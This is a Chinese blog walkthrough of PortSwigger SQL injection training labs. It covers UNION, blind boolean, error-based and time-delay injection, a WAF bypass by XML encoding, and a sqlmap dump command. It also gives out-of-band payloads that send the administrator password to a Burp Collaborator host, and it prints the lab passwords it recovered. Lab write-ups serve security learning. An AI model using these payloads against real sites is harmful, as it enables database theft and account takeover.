【PortSwigger】SQL注入实验全记录

本文详细介绍了SQL注入的各种类型和检测方法,包括使用单引号、特定SQL语法、布尔条件和时间延迟的测试。还探讨了不同上下文的注入,如UPDATE和INSERT语句中的注入,并提供了防止SQL注入的策略。此外,文章深入讲解了二阶SQL注入的概念,并通过实例展示了Oracle、MySQL数据库的查询技巧,以及盲注、时间延迟注入和带外数据泄露的利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

简介

靶场地址

1.如何检测sql注入

可以通过对应用程序中的每个入口点使用一组系统的测试来手动检测 SQL 注入。这通常涉及:

  • 提交单引号字符并查找错误或其他异常。’
  • 提交一些特定于 SQL 的语法,该语法的计算结果为入口点的基(原始)值和不同的值,并查找生成的应用程序响应中的系统差异。
  • 提交布尔条件(如OR 1=1和OR 1=2),并查找应用程序响应中的差异。
  • 提交旨在触发在 SQL 查询中执行时的时间延迟的有效负载,并查找响应所花费时间的差异。
  • 提交旨在触发带外网络交互的 OAST 有效负载,以便在 SQL 查询中执行时触发带外网络交互,并监视任何生成的交互。

2.查询不同部分的sql注入

更新:UPDATE WHERE
插入:INSERT
表或列名:SELECT,SELECT ORDER BY

3.不同上下文的sql注入

不同的格式甚至可能为您提供其他方法来混淆由于 WAF 和其他防御机制而被阻止的攻击。弱实现通常只是在请求中查找常见的 SQL 注入关键字,因此您可以通过简单地编码或转义禁止关键字中的字符来绕过这些过滤器。
一些网站采用 JSON 或 XML 格式的输入,并使用它来查询数据库。这些不同的格式甚至可能为您提供其他方法来混淆由于 WAF 和其他防御机制而被阻止的攻击。

4.如何防止sql注入

5.二阶注入简介

一阶 SQL 注入出现在应用程序从 HTTP 请求获取用户输入并在处理该请求的过程中以不安全的方式将输入注入到 SQL 查询中的情况。
在二阶 SQL 注入(也称为存储的 SQL 注入)中,应用程序从 HTTP 请求中获取用户输入并将其存储以供将来使用。这通常是通过将输入放入数据库来完成的,但在存储数据的位置不会出现漏洞。稍后,在处理不同的 HTTP 请求时,应用程序会检索存储的数据,并以不安全的方式将其注入到 SQL 查询中。

0x03

在这里插入图片描述
在这里插入图片描述
使用order by 找到其有2或3列,所以union select的时候可以union select null,null,null--+
在这里插入图片描述

0x04 union 查找列

在这里插入图片描述

0x05 union 单个列中检索多个值

在这里插入图片描述
在这里插入图片描述
sqlmap payload:sqlmap.py -u "http://目标地址" -T users -C username,password --dump
直接掉库:
在这里插入图片描述
本来以为是加密密钥,用md5看了一下发现不是,就是密码
在这里插入图片描述

0x06

同理5
在这里插入图片描述

0x07 oracle查询数据库的类型和版本

在这里插入图片描述
要求回显:

Make the database retrieve the strings:
‘Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production’

在这里插入图片描述
oracle与mysql数据库是不一样的,查询语句如下:union select ‘null’,'null' from dual--+
先判断注入点及对应类型:
在这里插入图片描述
在这里插入图片描述
注入点在查询语句中,字符型
在这里插入图片描述
字符型union查询,成功回显
在这里插入图片描述
在这里插入图片描述
这里要用V$version表,不用dual表

0x08 MySQL和Microsoft上进行数据库类型和版本查询

在这里插入图片描述
查询结果:Make the database retrieve the string: ‘8.0.32-0ubuntu0.20.04.2’
在这里插入图片描述
mysql数据库的注入点测试不用区分类型,
在这里插入图片描述
在这里插入图片描述

0x09 非oracle数据库查询用户名密码

在这里插入图片描述
找和users相关的表名
在这里插入图片描述
在这里插入图片描述
得到用户名及密码:
administrator:i4ivwao1yqkh4gt00n17
在这里插入图片描述

0x10 Oracle结构查询用户名密码

在这里插入图片描述
首先查询table_name在all_tables中
在这里插入图片描述
然后查询USERS_的列名union select column_name,null from all_tab_columns where table_name='USERS_'--+

在这里插入图片描述
然后查询对应字段名:'union select PASSWORD_,USERNAME_ from USERS--+
在这里插入图片描述

0x11 使用条件响应的盲sql注入

在这里插入图片描述
由题干中的信息可知注入点应该在cookie中,同时注入类型是盲注,目的是在users表中找到username为administrator的password。
所以首先应该找回显,这里使用布尔型的盲注:
在这里插入图片描述
在这里插入图片描述
为真时,cookie有回显:Welcome back!

在这里插入图片描述
在这里插入图片描述
无回显。
布尔盲注:通过AND构造语句做判断
AND (SELECT 'a' FROM users LIMIT 1)='a查找是否有users表
AND (SELECT 'a' FROM users WHERE username=’administrator‘ )='a查找是否存在administrator用户
AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=$1$)='a
在这里插入图片描述
下一步是测试每个位置的字符以确定其值。这涉及更多的请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送给 Burp Intruder。
再判断每个位上的字符,就需要SUBSTRING()方法
AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator ')='a
使用该函数从密码中提取单个字符,并根据特定值对其进行测试。我们的攻击将循环遍历每个位置和可能的值,依次测试每个位置和可能的值。SUBSTRING()
在这里插入图片描述
’ AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username=‘administrator’ )='§a§
爆破:字段从1-20,对应位置(0-9,a-z,A-Z)cluster bomb,同时设置Grep-Match:Welcome back!
在这里插入图片描述

得到所有match到welcome的各位置字符
aqn6kcoirm8dabdwidr0
在这里插入图片描述

0x12 具有条件错误的盲sql注入

在这里插入图片描述
首先来测试注入符号会不会引起报错
在这里插入图片描述
只添加一个引号,响应报错信息,提示:
在这里插入图片描述
添加两个单引号,达到闭合,成功显示
在这里插入图片描述
添加两个引号,验证错误消失,表明语法错误(在本例中为未闭合引号)对响应具有可检测的影响。
构造能产生正确回显的语句:' ||(SELECT '' FROM dual)||'
这里用OR就会报错,oracle数据库所以需要具体的数据库dual
在这里插入图片描述
验证语句:'||(SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||’
在这里插入图片描述
满足1=1条件就进行TO_CHAR(1/0)运算,被0除则会出错
不满足就执行后边语句,通过控制when中的条件来进行正确语句的执行,达到条件时则报错,用报错来判断。
在这里插入图片描述
通过修改条件做判断,如果条件为真则报错,盲注首先猜测长度
'|| (SELECT CASE WHEN length(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' ) ||'
有了验证条件就可以利用爆破来验证password的长度
在这里插入图片描述

在20这里条件报错,说明passwrd的长度为20,再猜测字符,对各个位置字段内容进行验证:
'||(SELECT CASE WHEN SUBSTR(password,$1$,1)='$b$' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

注意oracle用的SUBSTR()函数
在这里插入图片描述

在这里插入图片描述

对应password:xir3qqtefr1r39nb525s

0x13 具有时间延迟的盲sql注入

在这里插入图片描述
需要使用时间盲注的条件:无论注入正确或错误其返回页面都是相同的
通常使用sleep()函数对判断为真时进行延时
本题只需要延时,payload:’|| pg_sleep(10)--
在这里插入图片描述

0x14 具有时间延迟和信息检索的盲sql注入

在这里插入图片描述
利用时间延迟做判断,满足条件就延迟
首先测试延迟效果,这里不用||来连接语句,用%3B应该是一个语句叠加:
|| pg_sleep(10)--
%3BSELECT CASE WHEN(username='administrator' AND LENGTH(password)=$1$) THEN pg_sleep(10) ELSE pg_sleep(0) END from users--
在这里插入图片描述
响应包大小及响应时间,这里当length(=20)时最大,继续找对应位置的字符
%3BSELECT CASE WHEN(username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END from users--
这里需要点进每一个爆破后的返回包查看这里的响应时间,正常时间按范围在100-x00的范围,进行延时判断注入的时间在10000范围。
在这里插入图片描述
最后拼装上账户密码:vl3oio8qoas87kgisqg8

0x15 带外交互的盲sql注入

在这里插入图片描述
这里要执行和DNSlog有关的注入,这里要使用Burp的服务器,复制服务器地址
在这里插入图片描述
在这里插入图片描述
再将复制的网址粘贴到下边BURP-COLLABORATOR-SUBDOMAIN的位置

' SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--
在这里插入图片描述
在这里插入图片描述
服务器接收到内容

0x16 带外数据泄露的盲sql注入

在这里插入图片描述
这里还是利用DNSlog来进行注入,构造语句从users库中得到administrator用户名的账号。
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.ld2w44xkoxukje9478ep5rz8szyrmg.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
在这里插入图片描述
在这里插入图片描述
这里带出账号密码

0x17 通过XML编码使用过滤器旁路的sql注入

在这里插入图片描述
库存检查功能中存在sql注入,所以观察页面找到库存管理,发现页面和之前多一个view detail点进去看到一个Check stock发现可以进行库存查询,进行抓包检查一下。
在这里插入图片描述
抓到的包发现时xml格式,修改数字参数可以返回对应的响应,存在注入点。
在这里插入图片描述
同时发现这两处都能进行注入,写入union select发现waf:
在这里插入图片描述

在这里插入图片描述
这里使用Hackvector插件进行编码,hackvector的安装:
在这里插入图片描述
选中union 。。。null右键hackvertor-encode-dec_entities,再对其进行响应,可以返回
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值